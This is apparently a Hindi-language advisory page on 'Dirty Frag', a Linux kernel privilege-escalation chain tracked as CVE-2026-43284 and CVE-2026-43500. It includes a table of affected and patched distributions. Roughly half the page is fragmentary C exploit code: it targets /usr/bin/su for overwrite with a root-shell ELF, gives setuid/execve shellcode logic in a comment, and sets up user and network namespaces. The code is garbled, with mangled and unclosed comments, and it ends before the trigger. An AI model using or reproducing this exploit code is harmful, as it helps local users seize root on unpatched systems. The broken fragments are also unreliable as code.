
Dirty Frag - Linux कर्नेल गंभीर भेद्यता
यह एक्सप्लॉइट श्रृंखला, जिसे स्थानीय विशेषाधिकार वृद्धि (LPE) के रूप में वर्गीकृत किया गया है, एक अनविशेषाधिकृत उपयोगकर्ता को लगभग सभी आधुनिक Linux वितरणों पर रूट एक्सेस प्राप्त करने की अनुमति देती है, जो 2017 से जारी कर्नेल चला रहे हैं, जो लगभग नौ वर्षों के संस्करणों तक फैला हुआ है। यह शोषण esp4, esp6, और rxrpc मॉड्यूल के इन-प्लेस डिक्रिप्शन पथ पर काम करता है, जो splice(2) और sendmsg(2) जैसे मानक सिस्कॉल के माध्यम से कर्नेल पेज कैश को दूषित करता है, जिसके लिए न तो उपयोगकर्ता की सहभागिता आवश्यक होती है और न ही कोई रिमोट अटैक वेक्टर।
दो घटक भेद्यताएँ हैं:
xfrm-ESP पेज-कैश राइट - CVE-2026-43284, IPsec ESP इनपुट पथ में। 7 मई 2026 को netdev ट्री में विलय किया गया और 8 मई 2026 को मेनलाइन में commit f4c50a4034e6 के रूप में स्वीकार किया गया (नए टैब में खुलता है)।
RxRPC पेज-कैश राइट - CVE-2026-43500 आरक्षित, AFS RxRPC सत्यापन पथ में। प्रकटीकरण के समय किसी भी ट्री में कोई पैच मौजूद नहीं है।
| वितरण | प्रभावित संस्करण | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | पैच स्थिति |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| AlmaLinux | 8, 9, 10 | ✅ प्रभावित | ⚠️ केवल 9 और 10¹ | पैच किया गया |
| Rocky Linux | 8, 9, 10 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| CentOS | 8 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Oracle Linux | RHCK / UEK प्रभावित | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Debian | Bullseye, Bookworm, Trixie | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया (पहले sid) |
| Fedora | वर्तमान रिलीज़ | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Arch Linux | रोलिंग | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Amazon Linux | 2, 2023 | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
| Proxmox VE | वर्तमान रिलीज़ | ✅ प्रभावित | ✅ प्रभावित | पैच किया गया |
प्रभावित: Linux कर्नेल ≥ 4.14 (जनवरी 2017 से) · सभी प्रमुख वितरण · कोई रिमोट वेक्टर नहीं CVSS 3.1: 8.8 उच्च (CVE-2026-43284) · प्रकटीकरण: 7 मई, 2026 · सार्वजनिक ज़ीरो-डे PoC शोधकर्ता: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }